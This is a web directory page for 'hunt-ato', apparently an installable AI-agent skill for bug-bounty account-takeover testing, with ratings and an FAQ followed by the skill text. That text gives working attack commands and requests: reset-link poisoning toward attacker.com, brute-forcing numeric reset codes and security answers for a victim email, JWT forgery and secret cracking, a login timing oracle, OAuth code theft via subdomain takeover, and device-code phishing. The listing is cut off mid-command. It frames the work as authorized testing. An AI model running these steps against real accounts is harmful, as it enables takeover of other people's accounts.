SkillAgentSearch skills...

hunt-ato

Hunt account takeover taxonomy — 12 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypas…

Install / Use

npx skills add uphiago/recon-skills --skill hunt-ato

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

85/100

Category

Security

Supported Platforms

Universal

Our assessment of hunt-ato

hunt-ato scores 85/100 on our quality scale, 818th of 1,100 Security skills we index.

Its SKILL.md is 25 KB long, well organised into 99 sections with 23 code examples: a thorough specification that gives an agent plenty to work with.

With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
13/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so hunt-ato is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

hunt-ato compared with similar skills

All 4 of these similar skills score higher than hunt-ato; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-ato (this skill)by uphiago851.3k2mo agoSKILL.md
algorithmic-artby anthropics100177.9k46d agoSKILL.md
pptxby anthropics100177.9k46d agoSKILL.md
designby nextlevelbuilder100143.4k7d agoSKILL.md
ui-ux-pro-maxby nextlevelbuilder100143.4k7d agoSKILL.md

Frequently asked questions

How do I install hunt-ato?
Run npx skills add uphiago/recon-skills --skill hunt-ato. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-ato work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-ato safe to use?
It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-ato still maintained?
The repository was last updated about 2 months ago, so hunt-ato is actively maintained.

name: hunt-ato description: "Hunt account takeover taxonomy — 12 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (alg:none, RS256→HS256 key confusion, weak HMAC secret, kid injection), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical." version: 1.1.0 revision_date: 2026-07-25 license: MIT platforms: [linux] metadata: tags: [ATO, account-takeover, hunt, redteam] category: redteam

When to Use

  • Hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT.
  • Chaining primitives toward Critical.

Prerequisites

  • Explicit authorization, target boundaries, and rate limits for the target.
  • Tooling: curl, dig, ffuf, gh, hashcat, openssl, python3.
  • A writable evidence directory: export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR".
  • For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.

How to Run

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Procedure

The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.

13. ATO — ACCOUNT TAKEOVER TAXONOMY

12 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.

Path 1: Password Reset Poisoning (Host-Header)

POST /forgot-password HTTP/1.1
Host: attacker.com                 # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com

email=victimB@company.com

The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.

Path 2: Reset Token in Referer / Open-Redirect Leak

GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends  Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls

Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.

Path 3: Predictable / Weak Reset Tokens

# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable

Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.

Path 4: Token No-Expiry / Reuse / Cross-Account

Expiry:  request token → wait 2h → still valid? = bug
Reuse:   use token once → use again → still valid? = bug
Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset

Path 5: Email Change Without Re-Auth

PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm

If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.

Path 6: JWT Manipulation

# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl --max-time 30 --connect-timeout 10 -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)

Verified grounding for this class: CVE-2015-9235 (node jsonwebtoken <4.2.2 — alg confusion / none bypass), CVE-2016-10555 (jwt-simple RS256→HS256). Validate: forged token must reach a privileged endpoint as victim B (e.g. GET /api/admin or /api/users/B) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged sub and keys off the session cookie, the JWT is not the trust boundary — no finding.

Path 7: Password Change Without Step-Up + Login Oracle

# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"}          # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
  t=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
  printf '%s\t%s\n' "$t" "$p"
done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass

A no-step-up password-change endpoint is the persistence multiplier: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. False-positive check: confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).

Path 8: Social-Recovery / Security-Question Abuse

# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"victimB@company.com","question":"pet","answer":"FUZZ"}' \
  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)

Pair with offensive-osint: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. Validate by completing the recovery flow end-to-end into a session on account B.

Path 9: SSO Subdomain Takeover at OAuth redirect_uri

# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain

Confirmation = OOB: the auth code (or implicit access_token) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely reflects an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — AADSTS50076 / claims-challenge responses contain a literal access_token substring inside the claims field that is NOT a usable token.

ATO Severity Gate

  • Critical — zero/low victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.
  • High — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).
  • Medium — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).
  • Low — attacker must be MitM, or only self-account impact.

Path 10: OAuth Device Code Flow Abuse (RFC 8628)

The Device Authorization Grant (OAuth device flow) is designed for input-constrained devices, but attackers abuse it for phishing, MFA bypass, and cross-tenant token theft.

How the flow works (abused):

  1. Client requests device code: POST /oauth/devicecode with client_id + scope
  2. Server returns: device_code, user_code, verification_uri, interval
  3. Attacker tricks victim into visiting verification_uri and entering user_code
  4. Victim authenticates (often MFA-less on device flow) and authorizes
  5. Attacker polls POST /oauth/token with device_code → receives access/refresh tokens

Attack vectors:

A. Phishing with device codes (ATO via authorization code theft)

# Step 1: Request a device code from the OAuth provider
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/devicecode" \
  -d "client_id=VICTIM_CLIENT_ID&scope=openid profile email offline_access"

# Response: {"device_code":"...","user_code":"ABCD-1234","verification_uri":"https://target.com/device","interval"

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars1.3k
CategorySecurity
Updated2mo ago
Forks215

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions